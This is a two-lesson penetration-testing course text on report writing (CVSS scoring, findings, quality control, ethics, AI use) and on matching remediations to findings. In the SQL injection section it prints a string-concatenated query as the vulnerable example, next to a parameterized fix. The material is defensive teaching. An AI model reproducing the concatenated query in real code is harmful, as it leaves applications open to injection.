Print the version and the whole vector every time. FIRST's FAQ says some scores for the same flaw differ between v3.1 and v4.0, because v4.0 numbers come from expert ranking, and that a number alone hides what the vector shows. You will still meet v3.1 scores, so never compare two numbers without checking their versions. Lesson 14 works through the metrics themselves.
FIRST's own heading on the Base score is "Measures Severity, not Risk". Base describes the flaw; it knows nothing about your client's data, exposure or attackers. So F-01 carries a CVSS-BE score and a sentence of business reasoning: show the number, then say why it matters here.
CVSS has limits too. FIRST describes it as a framework for software vulnerabilities, and F-02 is a missing control. Forcing a vector onto it would give false precision, so the definitions section allows a tester-assigned rating with a written reason. A probability-and-consequence matrix or DREAD from Lesson 5 can fill the same role, as long as the report names its method.
Step 3: Write the detailed findings first
Everything else in the report summarizes the findings, so write them while your evidence is fresh. OWASP's test for a finding is that an engineer can understand it, replicate it and resolve it. F-01 shows the parts you should expect to see:
- A title that states the consequence. "Any member can read another member's statements" works for a manager and an engineer alike. The flaw's name, IDOR, which Lesson 18 explains, belongs in the body.
- A rating with its justification. The score, the vector and the reason.
- Evidence you can defend. Enough to prove the flaw, nothing more. Note what F-01 hides: the token, the balance and any real name.
- Impact in the client's terms. Which data, whose, and what cannot happen as well as what can.
- The root cause. The missing ownership check, not "the API is insecure". Lesson 27 covered root cause analysis, and Lesson 29 builds on it.
- Remediation guidance and a retest. Specific enough to act on, with a result that proves the fix.
Raw output goes in an appendix, and OWASP says to clean it first, not dump it.
Step 4: Build the attack narrative from your timed notes
Findings are vertical: one flaw, in depth. The attack narrative is horizontal: how the flaws and the tester's decisions connected, in time order, on the way to the goal. Corvid Bay's shows what no single finding can: F-02 alone exposes nothing, but following F-01 it turns one stolen statement into a possible mass exposure. PTES likewise wants the technical report to describe the attack path.
Write it from timestamped notes, because the client's monitoring team will lay your times against its logs, and a detection gap only shows up that way. Record where you stopped and why: the 14:30 entry on Tuesday tells an auditor that the ROE held. And record what worked, like the refused expired token. A narrative says what happened and what it proved; exact request details stay in the evidence, where distribution can be controlled.
Step 5: Separate remediation guidance from recommendations
Remediation guidance sits inside a finding and tells an engineer what to change. Recommendations sit at report level and tell a manager what to do first, who owns it and by when, like Section 8's table.
NIST SP 800-115 asks for both technical actions, such as a particular patch, and nontechnical ones aimed at the organization's processes. PTES draws the same line between a symptom, one missing patch on one host, and a systemic issue, a weak patch process.
That is why the last row of Section 8 addresses why F-01 happened, not just F-01. Choosing the right fix takes judgment of its own, and Lesson 29 is about exactly that.
Step 6: State the methodology, limitations and assumptions
The methodology lets a reader judge the work and the next tester repeat it, so it names the standards, tools, dates, source address and starting position. "Two test member accounts, no source code" changes how a reader weighs every finding.
Without the limitations section, silence in a report reads as "secure". A limitation is something that restricted the test; OWASP's list includes out-of-bounds areas, broken functionality, lack of cooperation, lack of time and lack of credentials. An assumption is something you accepted as true without checking, such as the client's word that a test account behaves like a real one. If it turns out to be false, the conclusions resting on it fall too, so name it where the reader can see it. Keep the pair straight: a filtered port is a limitation, and "the client told us" is an assumption.
Step 7: Write the executive summary last
An executive summary can only be written once you know what the findings say, and it must make sense to someone who will read nothing else. OWASP asks for the test's objective, key findings in a business context and strategic recommendations, with jargon and negative speculation left out. PTES adds an overall risk ranking and a roadmap.
| Do not write | Write | Why |
|---|---|---|
| "Object-level authorization is missing on /v2/accounts (CVSS-B 7.1)." | "Any member could read other members' statements." | A board acts on consequences, not vectors |
| "Hackers could drain every account overnight." | "We retrieved one test member's statement while logged in as the other." | Say what you proved; F-01 could not change data |
| "Several issues need attention." | "Fix F-01 within 14 days and add monitoring within 30." | The reader needs a decision and a date |
Check it with one question: could the risk committee decide something from this paragraph alone?
The upshot: findings first, executive summary last. You write from the evidence outward, and the client reads from the conclusion inward.
Step 8: Quality control, with a draft that fails it
Lesson 27 covered peer review as a working habit during a test. Quality control (QC) is the gate before release, and a reviewer works through it line by line.
| Check | What it catches |
|---|---|
| Reproduce: a second tester follows each finding as written | Steps only the author understood; flaws that were never real |
| Recalculate: re-enter every vector and match it to the scale | A wrong score, or a label that disagrees with its number |
| Scope: compare every address and host with the signed scope | Evidence from a system nobody authorized |
| Evidence: mask secrets and personal data, flatten images, clear file properties | Leaks through the report itself, including text under a drawn black box |
| Consistency: same flaw, same rating; summary figures match the findings | "Four findings" on page 1 and five on page 9 |
| Fit: each fix addresses the stated root cause | "Apply patches" under a missing authorization check |
| Leftovers: search for other clients' names and old dates | Text carried over from a previous report |
| AI use: trace AI-assisted sentences to evidence; open every reference | Confident statements that nothing supports |
A worked task. Here is an exercise made for this course, in the style of a performance-based question. List each defect in the draft, name the check that catches it, and put the most urgent first. Allow four minutes before you read on.
F-07 Insecure API
Rating: Critical (CVSS 7.1)
Affected: api.corvidbay.example, 203.0.113.70
Evidence: Screenshot 31. Logged in as Dana Whitfield, account 100377,
balance 8,412.16. Bearer token visible in full.
Impact: Hackers could steal everything.
Remediation: Fix the API and patch all servers.
| Order | Defect | Reasoning | Check |
|---|---|---|---|
| 1 | 203.0.113.70 is listed as affected | A /26 from .0 ends at .63, and .70 sits in the excluded 203.0.113.64/27. This may be an incident, not a typo. Stop and escalate | Scope |
| 2 | A real member's name and balance, and a full token | Testing was limited to test accounts, so ask how this record was reached. Report that, then mask the evidence | Evidence |
| 3 | Critical beside 7.1, with no version or vector | 7.1 is High on the report's own scale. Change the label or give a written reason; never change the number to suit the label | Recalculate |
| 4 | "Patch all servers"; no root cause, no retest | A patch cannot add a missing ownership check. Name the cause, then fit the fix and the retest to it | Fit |
| 5 | "Hackers could steal everything"; title "Insecure API" | Vague and speculative. State which data, whose, and what was proved; title the consequence | Reproduce and consistency |
The order matters most. Items 1 and 2 could be events the client must hear about today, while the rest are writing faults you can fix at your desk.
Second run: one fact changes and the headline flips
Now change one input. Suppose the route in F-01 exists only on a staging API, reachable only through the credit union's VPN, holding synthetic data. The code flaw is identical. FIRST's definition of Adjacent includes attacks from inside a limited administrative domain such as a secure VPN, so the environment becomes MAV:A, and the confidentiality requirement falls to CR:L. Watch what moves.
| Part of the report | Live API, real members | Staging API, synthetic data |
|---|---|---|
| Base score | CVSS-B 7.1 | CVSS-B 7.1: the flaw has not changed |
| Environmental score | CVSS-BE 7.1, High | CVSS-BE 5.5, Medium (adds CR:L/MAV:A to the vector) |
| Executive summary | "Any member could read other members' statements." | "A flaw in pre-release code would expose statements if it shipped. No live system is affected." |
| Recommendation | Fix within 14 days | Hold the release until the check is in place |
| Assumptions | Test accounts behave like member accounts | New and vital: production does not contain this code. Confirm it, because if it does, the first column applies |
The Base score stood still and nearly everything a reader acts on changed. That is the reason to report both.
Legal and ethical considerations: who else may read this
On the legal side, assume strangers may read the report. It should cite the authorization, keep to the signed scope and carry a point-in-time statement; OWASP offers sample wording and advises consulting a legal professional. Personal data in evidence stays subject to privacy law, one more reason to mask it, and duties such as mandatory reporting from Lesson 3 do not wait for the final version.
Do not assume a label protects a report either. In May 2020 a magistrate judge in the Eastern District of Virginia ordered Capital One to produce Mandiant's report on the 2019 breach covered in Lesson 19, rejecting a work-product claim. A district judge affirmed in June. As Kilpatrick Townsend summarized the order, the report had gone to at least 51 employees, four regulators and an accounting firm, and the retainer was classed as a business expense.
That was an incident report under US federal rules, not a penetration test, but the practical point carries: wide distribution and business use can defeat a privilege claim. Ask counsel; do not rely on a header. Lesson 27 covers secure distribution.
On the ethical side, CompTIA's Candidate Code of Ethics binds certified people:
- to act with integrity
- to disclose conflicts of interest
- never to knowingly make a false or misleading statement to a client or a regulator
In a report, that looks like this:
- A client may correct a fact or record its risk acceptance. It may not have a true finding deleted from a report that claims to be complete, least of all one going to a regulator. If the two of you disagree, escalate through the contract; do not go around the client.
- Do not inflate a rating to win follow-up work, or soften one to please a sponsor.
- Say so if your own scan knocked a service over, and say so if you recommend a product your firm sells.
- Name the process that failed, not the employee who clicked.
Artificial intelligence in the report: confidentiality and truth
The objectives say only "artificial intelligence". In practice that means two separate risks, and solving one does nothing for the other.
Confidentiality. A draft holds client names, addresses, flaws and evidence, the very things your NDA protects, and CompTIA's code forbids disclosing client confidential information without the client's specific consent. Pasting a draft into an AI service is a disclosure to a third party.
OWASP's guidance for LLM applications tells providers to publish clear terms on data use, with a way to opt out of training, and NIST's generative AI profile lists leakage of sensitive data as a risk.
So read the terms yourself rather than asking a chatbot what it does with your data. Get a named tool approved in writing. Prefer one the client or your firm controls. Strip names, hosts, secrets and personal data before anything is sent.
Truth. NIST calls it confabulation: confidently stated false content. In a report that can mean a CVE number that does not exist, a wrong CVSS vector, an invented reference or a fix that does not match the flaw. OWASP's answer is cross-checking against trusted sources with human oversight, and it warns about overreliance.
A public case shows both risks pulling apart. In 2025 Deloitte agreed to a partial refund on an A$440,000 review for Australia's Department of Employment and Workplace Relations, after errors were found that included nonexistent references. The Guardian reported that the corrected version disclosed a GPT-4o tool chain licensed by the department and hosted in its own Azure tenancy. Deloitte did not say AI caused the errors, and the department said the recommendations stood. Note what the arrangement could and could not do: hosting inside the client's own cloud deals with where the data goes, and it says nothing about whether the output is true.
So use AI, if the contract allows it, for jobs you can check: rewording a sanitized paragraph for a board, say. Recompute every score yourself, open every reference, and trace every factual sentence to your evidence folder. If the client or contract requires it, disclose that AI helped. Your name is on the report.

ChatGPT - Public domain - Wikimedia Commons
Exam cues: which component the stem wants
| The stem says | It points to | Do not confuse with |
|---|---|---|
| One page for the board, business impact, no jargon | Executive summary | Recommendations, the action plan |
| How the first weakness led to the next, in time order | Attack narrative | Detailed findings, one flaw at a time |
| Standards, tools, dates, how to repeat the test | Methodology | Scope alone, which lists only targets |
| Excluded hosts, filtered ports, short window | Test limitations | Assumptions: "the client told us", and nobody checked |
| What "High" means in this document | Definitions | The CVSS specification itself |
| Client's template, a regulator's layout, two versions for two audiences | Format alignment | Documentation specifications: required sections, file type, markings, dates |
| Required results with measurable standards in a federal contract | PWS | SoW, which lists tasks; SOO, which is not part of the contract |
| Same flaw, different system, different number | Environmental metrics, CVSS-BE | Base metrics, which stay fixed |
| A reviewer reproduces findings and rechecks scores before release | Quality control | Client acceptance, which comes after delivery |
How the report is delivered, retested and closed
Corvid Bay's version numbers tell the story: 0.9 went to the client for factual review, and 1.0 followed with corrections. After the debrief come the fixes and then a retest, which OWASP suggests should summarize earlier findings and give each one's updated status:
| Finding | Rating | Status at retest, 24 July 2026 | Evidence |
|---|---|---|---|
| F-01 | High | Fixed: request from member A for member B's account refused with 403; denial logged | E-31 |
| F-02 | Medium, now Low | Partly fixed: burst throttled; alert rule still in testing | E-32 |
| F-04 | Low | Risk accepted by the CIO on 15 July | Signed note |
A retest proves only the findings it covers, so the addendum repeats that limitation.
Common misconceptions
- "The executive summary is a shortened technical section." It answers a different question for a different reader: what this means for the business and what to decide.
- "A CVSS base score is the finding's risk." FIRST says Base measures severity and should not be used alone to assess risk.
- "A private AI tool solves the AI problem." It may address confidentiality. It does nothing about false output.
- "A client can have any finding removed because it paid for the report." It can correct facts or accept risk. A tester may not knowingly mislead a client's regulator or anyone else.
What to remember
- Report readers differ: the executive summary serves the board, the attack narrative the security team, and detailed findings the engineers.
- Write in this order: findings, narrative, recommendations, limitations, executive summary last.
- Format alignment fits the report to readers, contract and regulators; documentation specifications are the deliverable's written rules. An SoW lists tasks; a PWS states measurable results.
- CVSS is at v4.0, with scores labeled CVSS-B, BT, BE or BTE. Print the version and vector; 7.0-8.9 is High.
- The Base score stays fixed when the environment changes; Environmental metrics move, and the client's decision moves with them.
- A limitation restricted the test; an assumption was taken on trust without checking.
- Quality control reproduces findings, recalculates scores, checks scope, masks evidence and tests whether each fix fits its root cause.
- AI brings two separate duties: get consent and sanitize before sending, then verify every claim that comes back.
Sources
- OWASP. (n.d.). Reporting structure. In Web Security Testing Guide (development branch, read 3 November 2026). github.com/OWASP/wstg
- Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), sections 5.2 and 8. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
- The PTES Team. (n.d.). Reporting. In Penetration Testing Execution Standard (unofficial mirror; the official site is pentest-standard.org). pentest-standard.readthedocs.io
- Forum of Incident Response and Security Teams. (2024). Common Vulnerability Scoring System version 4.0: Specification document (document version 1.2), with the User guide, FAQ and reference calculator. specification; user guide; FAQ; calculator code
- Federal Acquisition Regulation (as of FAC 2026-01). Sections 2.101 and 37.602; and FAR overhaul, Part 37 model deviation text. acquisition.gov.
- CompTIA. (n.d.). Candidate code of ethics. comptia.org
- National Institute of Standards and Technology. (2024). Artificial intelligence risk management framework: Generative artificial intelligence profile (NIST AI 600-1), sections 2.2 and 2.4. nvlpubs.nist.gov (PDF); OWASP. (2025). LLM02:2025 Sensitive information disclosure and LLM09:2025 Misinformation. LLM02; LLM09
- Dhanji, K. (2025, October 6). Deloitte to pay money back to Albanese government after using AI in $440,000 report. The Guardian. theguardian.com
- In re Capital One Consumer Data Security Breach Litigation, No. 1:19-md-2915, 2020 WL 2731238 (E.D. Va. May 26, 2020), affirmed June 25, 2020; orders read through Kilpatrick Townsend's and Kelley Drye's 2020 summaries. ktslaw.com; kelleydrye.com
- MITRE. (n.d.). CWE-639: Authorization bypass through user-controlled key. cwe.mitre.org; OWASP. (2023). API1:2023 Broken object level authorization. owasp.org
- Key terms
- Executive summary
- The opening section of a report, written last, that gives non-technical leaders the test's objective, the key findings in business terms and the strategic recommendations.
- Attack narrative
- The time-ordered account of how a tester moved from a starting position toward the goal, showing how separate findings connected and where the tester stopped.
- Detailed finding
- A report entry for one flaw: title, rating and justification, affected systems, evidence, impact, root cause, remediation guidance and a retest.
- Test limitation
- Anything that restricted what a penetration test could see, such as exclusions, time, access or filtered ports, stated so that silence is not read as safety.
- Report assumption
- Something a report accepts as true without checking, such as a client's statement; if it proves false, the conclusions resting on it fall too.
- Format alignment
- Shaping a report to what its readers, contract and regulators require, which can mean a client's template or separate versions for separate audiences.
- Performance work statement (PWS)
- In US federal contracting, a statement of work that states required results with measurable outcomes rather than how the work is done or for how many hours.
- Common Vulnerability Scoring System (CVSS)
- FIRST's open standard for rating a vulnerability's severity from 0.0 to 10.0; version 4.0 labels scores CVSS-B, CVSS-BT, CVSS-BE or CVSS-BTE by the metric groups used.
- Quality control (QC)
- The review before a report is released: reproducing findings, recalculating scores, checking scope, masking evidence and testing that each fix fits its root cause.
- Confabulation
- NIST's term for a generative AI system confidently presenting false content, colloquially called hallucination, which is why AI-drafted text must be verified.
Fixes That Fit the Finding: Recommending Remediation
- Test a proposed fix by naming what a finding depends on, replaying the finding with the fix in place, and stating the retest result that would prove it.
- Match each technical, administrative, operational and physical control in objective 1.5 to a finding it actually addresses and to the retest that proves it.
- Apply NIST SP 800-63B-4 and CISA guidance to password, multifactor and biometric recommendations, and name Windows LAPS where shared local administrator passwords are the issue.
- Write a recommendation that separates the interim step, the long-term fix and the process change, with an owner, a target date and a retest.
The fix that left 412 workstations exactly as exposed
Row one of the draft read: "F-01. All 412 Windows workstations share one local administrator password. Recommendation: lengthen it to 20 characters and rotate it every 90 days." The peer reviewer at Ashgrove Security, the fictional firm from Lesson 28, sent back one question: after this fix, how many of the 412 does one password open? All 412.
Here is the whole draft for Kestrel Point Freight, a fictional trucking company. Every row names a real control, which is why it reads well. Pick the row you would reject first.
Exam objectives: 1.5, all of it: 11 technical, 4 administrative, 4 operational and 3 physical controls, each matched to a finding in the mapping table below.
| ID | Finding as drafted | Draft recommendation |
|---|---|---|
| F-01 | All 412 Windows workstations share one local administrator password | Lengthen it to 20 characters; rotate every 90 days |
| F-02 | Staff portal accepts short passwords, including ones on breach lists | Require 8 characters with upper case, lower case, digit and symbol; change every 60 days |
| F-03 | Customer portal stores passwords in cleartext | Encrypt the password column with AES-256 |
| F-04 | SQL injection in the shipment search | Add a web application firewall (WAF); strip quotes from input |
| F-05 | Staff approved unexpected multifactor authentication (MFA) push prompts in the authorized test | Train staff to reject prompts they did not start |
| F-06 | Live cloud access key committed to a Git repository | Delete the file from the repository |
| F-07 | Weighbridge controller runs an operating system out of vendor support | Apply the latest patches |
| F-08 | Warehouse PCs can reach the finance database directly | Move the PCs to their own VLAN |
| F-09 | Tester followed an employee through the server room door | Install cameras |
| F-10 | One payroll clerk creates vendors, approves their payments and has not been absent in three years | Remind all staff of the finance policy |
All ten fail. The sections below trace each failure and bring in the controls that belong beside it.
Three questions every recommendation must survive
NIST SP 800-115 wants a mitigation recommendation for each finding, built on root cause analysis. The reporting outline in the Penetration Testing Execution Standard (PTES) is blunter: "Root Cause is never a patch." Together they give you a test for any fix:
- What does the finding depend on? Name the weakness in one line, using the root cause analysis from Lesson 27.
- Replay the finding on paper with the fix in place. Where does it stop? If it reaches the same end, the fix does not fit, however good the control is.
- What retest result would prove it? If nobody can say, the finding can never be closed. The mapping table gives one for every control.
Worth holding on to: a control is never right or wrong by itself. It is right for one weakness.
F-01: why a longer, fresher password changes nothing
The finding depends on sameness: one credential works on every workstation, so losing one machine can mean losing them all. Length does not touch that, because a stored credential can be reused without being guessed (pass-the-hash). Rotation does not either: on day 91, all 412 share a new password. NSA and CISA say it directly in their joint top-ten advisory: do not reuse local administrator passwords across systems.
Windows LAPS (Windows Local Administrator Password Solution) is the named fix. It gives each device its own random password, rotates it automatically, backs it up to Active Directory or Microsoft Entra ID, and lets authorized administrators retrieve it. It has shipped in Windows updates since April 11, 2023, at no cost. The older Microsoft LAPS product from 2016 is deprecated, and newer Windows versions block its installer.
Two limits belong in your recommendation. Whoever can read the stored passwords can open any workstation, so Microsoft recommends password encryption and tightly limited read rights. And it manages only a local account: it does not remove staff from the local Administrators group or touch domain credentials.
F-02: minimum password requirements under NIST SP 800-63B-4
F-02 depends on the portal accepting short passwords already on breach lists. Under the draft's rule, "Password1!", NIST's own example of what composition rules produce, passes with room to spare. NIST SP 800-63B-4, final since July 2025, reverses much of what older policies demand.
| The draft says | SP 800-63B-4 says | Why |
|---|---|---|
| Minimum 8 characters | Minimum 15 where the password is the only factor; 8 allowed only as part of MFA | Length is a primary factor in strength |
| Upper, lower, digit, symbol | Composition rules must not be imposed | People respond predictably: "password" becomes "Password1!" |
| Change every 60 days | Periodic changes must not be required; a change must be forced on evidence of compromise | Evidence triggers the change, not the calendar |
| (silent) | New passwords must be checked against a blocklist of common, expected or compromised values | This is the rule that catches F-02's breached passwords |
SP 800-63B-4 is written for US federal systems. Private clients adopt it by choice, though CISA tells all defenders to follow NIST on password policy, and a contract or regulator may demand otherwise, so say so. LAPS rotating passwords is no conflict: the NIST rule covers people who choose and remember passwords, while LAPS generates a random value each time.
On the exam, minimum password requirements is the administrative control for weak passwords being accepted. Older materials pair it with complexity and expiry; if a stem asks for current NIST guidance, choose length and a blocklist. NIST's appendix also notes that phishing works as well on long passwords as short ones, which is why F-05 needs something else.
F-03: encrypting what should be hashed
A stored password only needs to be checked, never read back. Encryption is two-way: anyone holding the key recovers every password, and the application must be able to reach that key. The fix is a one-way, salted, deliberately slow hash, as SP 800-63B-4 requires; OWASP's first choice is Argon2id.
Encryption fits data that must be read again: customer records in an unencrypted backup, logins over plain HTTP, a VPN portal still accepting TLS 1.0. One exam note: the objectives list encryption and never mention hashing. If a stem about stored passwords offers hashing, take it. If it offers only encryption, that is the nearest listed control, but in a real report you write "hash".
F-04: a WAF and a quote filter against SQL injection
F-04 depends on how the query is built. Here is the reviewed code as found and as fixed (attacks are in Lesson 17).
# As found: the user's input becomes part of the SQL text
query = "SELECT status FROM shipments WHERE ref = '" + user_ref + "'"
cursor.execute(query)
# Fixed: the SQL text never changes, and the value travels separately
query = "SELECT status FROM shipments WHERE ref = %s"
cursor.execute(query, (user_ref,))
In the fixed version the database treats the bound value only as data, whatever characters it holds. That is why prepared statements (parameterized queries) head OWASP's primary defenses, and why the March 2024 alert from CISA and the FBI tells software makers to enforce them. Replay the draft:
- "Strip quotes from input." Objective 1.5 joins sanitizing user input and parameterizing queries in one bullet, but they are not equals. CISA and the FBI call sanitization "brittle, difficult to enforce at scale", and OWASP notes that blocking apostrophes just rejects a customer named O'Brien. Validation keeps a supporting role: server-side allow-list checks of type, length and format, plus context-aware output encoding against cross-site scripting.
- "Add a WAF." OWASP calls this a virtual patch: it covers only traffic it inspects and attack variants its rules recognize, and the flaw remains. It is a good interim step if the report labels it interim and gives the real fix a date.
Process-level remediation and the secure SDLC: stopping the next one
Suppose the code fix is perfect. F-04 touched three of twelve routes, all added in one release, so the next release can bring a fourth. NIST SP 800-115 lists poor integration of security into the development life cycle among common root causes.
Process-level remediation is part of the answer. CompTIA lists it under technical controls without defining it, and we found no definition in its public documents. This course reads it as: change the step in the workflow that let the flaw through, preferably so that a machine enforces the change. F-01's source is the workstation build, so take the shared password out of the image. For F-04, CISA and the FBI recommend libraries that make the secure route the default, and checks at pull request time. For F-06, secret scanning in the pipeline (Lesson 11) stops the next key at the commit.
The secure software development life cycle (SDLC) is the wider, administrative version: security requirements, design review, code review and testing built into each phase of making software. NIST's Secure Software Development Framework (SP 800-218) exists because few SDLC models address security in detail. Recommend it when one class of flaw keeps returning, not for a flaw in a product the client only buys.
Worth holding on to: one finding can need two fixes, one for the instance in production and one for the step that produced it. Report both, with separate owners.
F-05: when training is asked to do the job of multifactor authentication
F-05 depends on a prompt that looks the same whether the login is real or not, and on a person being right every time. CISA calls the abuse "push bombing" or MFA fatigue. SP 800-63B-4 says push verifiers should limit how many prompts they send, and rejects methods that merely ask someone to compare codes and approve, naming fatigue attacks as a reason.
Multifactor authentication is the right family; the fix is a stronger member of it. CISA's "gold standard" is phishing-resistant MFA: FIDO/WebAuthn authenticators such as hardware security keys, and methods based on public key infrastructure (PKI) such as smart cards. Where a client cannot move yet, number matching is one of the best interim steps, because the person must enter a number shown on the login screen. So recommend number matching and a prompt limit now, then phishing-resistant authenticators, administrators first. MFA has limits too: on the VPN it does nothing about F-01's password, which is used between machines inside the network.
Training's role here is small, as the randomized phishing trials in Lesson 21 showed. OWASP's testing guide says to "recommend technical controls first", then add process fixes and short user guidance.

Tony Webster from Minneapolis, Minnesota, United States. Cropped... - CC BY 2.0 - Wikimedia Commons
F-06: deleting a key that is already out
Deleting the file leaves the key working and in the repository's history, and even rewritten history may survive in clones, forks and cached views. GitHub's guidance: for a secret, the first step is to revoke or rotate it, because then it can no longer be used.
Key rotation replaces a key and retires the old one, on a schedule set by its cryptoperiod (NIST's term for its authorized lifetime, SP 800-57) and at once after any suspected exposure.
Rotation alone sets up the next leak, because the new key goes back where the old one was. A secrets management solution removes the reason to keep it there. OWASP describes centralizing storage, provisioning, auditing and rotation, with short-lived credentials where possible. It gives two reasons: shared secrets make a leak hard to trace, and manual rotation invites mistakes. The vault then becomes a high-value system, so say that too.
The order matters: rotate today, move to the vault next, add the pipeline scan after that.
A neighbor of F-06 follows the same pattern: the portal's TLS certificate expired on a Sunday, and support staff have learned to click through the warning. "Renew it" repairs Monday. Certificate management is the lifecycle work around a public key infrastructure: knowing every certificate, its owner and expiry date, renewing automatically with a protocol such as ACME (RFC 8555), and revoking when a key is exposed. It cannot stay manual: the CA/Browser Forum's limit for publicly trusted TLS certificates has been 200 days since March 15, 2026, falls to 100 on March 15, 2027 and to 47 on March 15, 2029.

Chris 論 - CC BY-SA 3.0 - Wikimedia Commons

The Microsoft Corporation. - Public domain - Wikimedia Commons
F-07 and F-08: no patch to apply, and a VLAN that separates nothing
F-07 dies at question two: there is nothing to install. NIST SP 800-40 Rev. 4 plans for this. Beside routine patching, emergency patching and emergency mitigation, its fourth scenario is unpatchable assets, such as an end-of-life device with no vendor patches, protected by isolation and other long-term mitigations. NSA and CISA agree: segment where patching is not possible, and retire unsupported systems as soon as you can. That set is a compensating control. It lowers the risk, but the weakness stays, so the report states what remains and who accepts it (Lesson 27).
Patch management fits a different finding: 17 of 40 servers months behind on available fixes. PTES contrasts one missing patch on one box with the systemic issue of an ineffective patch process, so recommend the process: an inventory, a schedule, tracking, automation where possible, and priority for known exploited vulnerabilities.
F-08's draft fails more quietly. A virtual LAN (VLAN) separates traffic at layer 2, but if routing between VLANs is open, the warehouse PCs still reach the finance database, one hop later. CISA pairs VLANs with properly configured access control lists. Network segmentation means a boundary that filters: deny by default, then allow only the flows the business needs.
System hardening removes what should not be there: unneeded services and vendor defaults, following vendor guides and DISA Security Technical Implementation Guides (CISA; SP 800-53, CM-7). If Telnet is enabled on the core switches, a perimeter firewall rule leaves the service running and the internal path open. A hardening retest wants the port closed, because the service is gone; filtered only says something blocks your view, as you saw in Lesson 7 when a firewall rule hid a running FTP service. In a segmentation retest, filtered is the pass. Same word, opposite verdicts.
CompTIA does not define infrastructure security controls either. Read the term as the protective equipment and services around systems: firewalls, WAFs, intrusion detection and prevention, and log collection in a security information and event management (SIEM) system. They answer exposure and detection gaps: NSA and CISA put insufficient internal network monitoring in their top ten, describing a team that went undetected even when it tried to be noisy. They rarely remove a flaw, which is why the WAF in F-04 was only interim.

Software: Microsoft Screenshot: Dion Dresschers - Public domain - Wikimedia Commons

Zuzu - CC BY-SA 3.0 - Wikimedia Commons
F-09: what a camera cannot do
Replay F-09 with the cameras installed: the tester still walks in behind the employee, now on video. SP 800-53 is plain about video surveillance: it records activity for later review, and watching live is not required. It fits a different finding, such as a client unable to say afterward who entered the server room, and it needs a review schedule, a retention period and attention to legal limits.
F-09 needs an access control vestibule: a space between two sets of interlocking doors, designed to stop unauthorized people following authorized ones (SP 800-53, PE-3(8)). Older material says mantrap. NIST replaced that word in its December 2020 errata, and the exam uses the new term.
Biometric controls answer a third question. A badge can be lent, stolen or cloned (Lesson 13); a fingerprint cannot be handed over.
Replay F-09 with a fingerprint reader, though, and the employee presents a finger, the door opens and the tester follows. SP 800-63B-4 was written for logins rather than doors, but its cautions carry over:
- a biometric is not a secret, because prints are left on what people touch
- matching is probabilistic, with one false match in 10,000 or better as NIST's bar
- it must be paired with something you have
So recommend badge plus fingerprint, treat the stored data as sensitive personal information, and keep a non-biometric alternative.

User:Amada44 - CC BY-SA 4.0 - Wikimedia Commons

Mark Yeomans - CC BY-SA 4.0 - Wikimedia Commons
F-10: controls for people, which a memo cannot replace
A policy reminder changes nothing in the replay: the clerk can still create a vendor and approve its payments, and nobody else sees the work. Write this kind of finding with care. It describes an opportunity, not a crime, so state that "no misuse was sought or found", and name the control, not the person. Such findings come from an authorized review of access exports or from interviews, not from a scanner.
| Control | Question it answers | How it works, and what to watch |
|---|---|---|
| Role-based access control | What may this job do? | Rights attach to a role, and people inherit them by holding it (SP 800-53, AC-3(7)). Define roles so nobody can both create a vendor and pay it: separation of duties (AC-5). Review membership, because CISA sees privilege creep often. |
| Mandatory vacations | What surfaces when this person is away? | An uninterrupted absence with someone else doing the work. The FDIC's 1995 letter to banks asks for at least two consecutive weeks, because embezzlement of any substantial size usually needs the embezzler's constant presence. If nobody takes over the duties, the benefit can vanish. |
| Job rotation | Who else has seen this work? | People move through duties on a schedule, which exposes concealed work and spreads knowledge. SP 800-53 suggests rotating dual-authorization duties to reduce collusion. Old rights must come off at each move (PS-5). |
| Time-of-day restrictions | When may this account work? | SP 800-53 names time of day, day of week and point of origin as account attributes (AC-2), with alerts on use outside them; Active Directory's version is logon hours. They limit when, not what. |
Policies and procedures fit a finding such as "help desk staff reset passwords for callers with no identity check, and nothing is written down", from an authorized social engineering test. A policy states the requirement, a procedure gives the steps, and the report says how compliance gets checked, which is what F-10's memo lacked. User training is the partner: teach that procedure and how to report a suspicious call. It is the right tool when the gap is knowledge of a workable process, and the wrong one when asked to outperform a design flaw, as in F-05.
Every control in objective 1.5, matched to a finding
The categories are CompTIA's own: systems enforce technical controls, organizations set administrative ones, people perform operational ones, and physical ones are part of the building. Note the surprises: role-based access control and minimum password requirements are administrative though software enforces them, time-of-day restrictions are operational, and process-level remediation is technical. Security+ calls the administrative group managerial. If a stem asks for a category, answer from this list.
| Control (CompTIA's category) | A finding it actually addresses | Retest that proves it |
|---|---|---|
| Windows LAPS (not a listed bullet, but expected) | One local administrator password on every workstation | No two sampled devices share a password |
| System hardening (technical) | Telnet and vendor defaults left on core switches | Port closed; settings match the baseline |
| Sanitize user input/parameterize queries (technical) | SQL injection in the shipment search | Test cases fail on every route; no string-built SQL |
| Multifactor authentication (technical) | VPN accepts a password alone; unexpected push prompts approved | Password alone refused; number or security key required |
| Encryption (technical) | Customer records in unencrypted backups; logins over plain HTTP | Backup unreadable without its key; plain HTTP and TLS 1.0 refused |
| Process-level remediation (technical) | The workstation build ships a shared password | A seeded bad change is rejected at the build step |
| Patch management (technical) | 17 of 40 servers months behind on available fixes | Rescan clean; reports show the on-time rate |
| Key rotation (technical) | Cloud key in a repository; signing key past its cryptoperiod | Old key refused |
| Certificate management (technical) | Certificates expire without warning; no inventory | Inventory matches a scan; renewal automated |
| Secrets management solution (technical) | Database passwords hard-coded in application settings | Application gets its credential from the vault |
| Network segmentation (technical) | Warehouse PCs reach the finance database directly | From the warehouse, database port filtered; permitted flow works |
| Infrastructure security controls (technical) | Authorized internal scan raised no alert | Repeat the scan: alert in the agreed time |
| Role-based access control (administrative) | Every finance user is a system administrator; rights copied person to person | Access export shows rights only through roles |
| Secure software development life cycle (administrative) | The same flaw class returns release after release | Release records show the security steps |
| Minimum password requirements (administrative) | Portal accepts short and breached passwords | Short and blocklisted passwords refused |
| Policies and procedures (administrative) | Help desk resets passwords with no identity check; nothing written | Repeat the authorized test: procedure followed |
| Job rotation (operational) | One engineer has made all firewall changes for nine years, unreviewed | Records show duties moved and old rights removed |
| Time-of-day restrictions (operational) | Vendor accounts can log in at any hour; the contract says weekdays | Out-of-hours login refused and alerted |
| Mandatory vacations (operational) | Payroll clerk never absent; nobody else sees the work | Leave records show the absence and who did the work |
| User training (operational) | Staff do not know the help desk procedure or how to report a suspicious call | Repeat the authorized test: reports arrive |
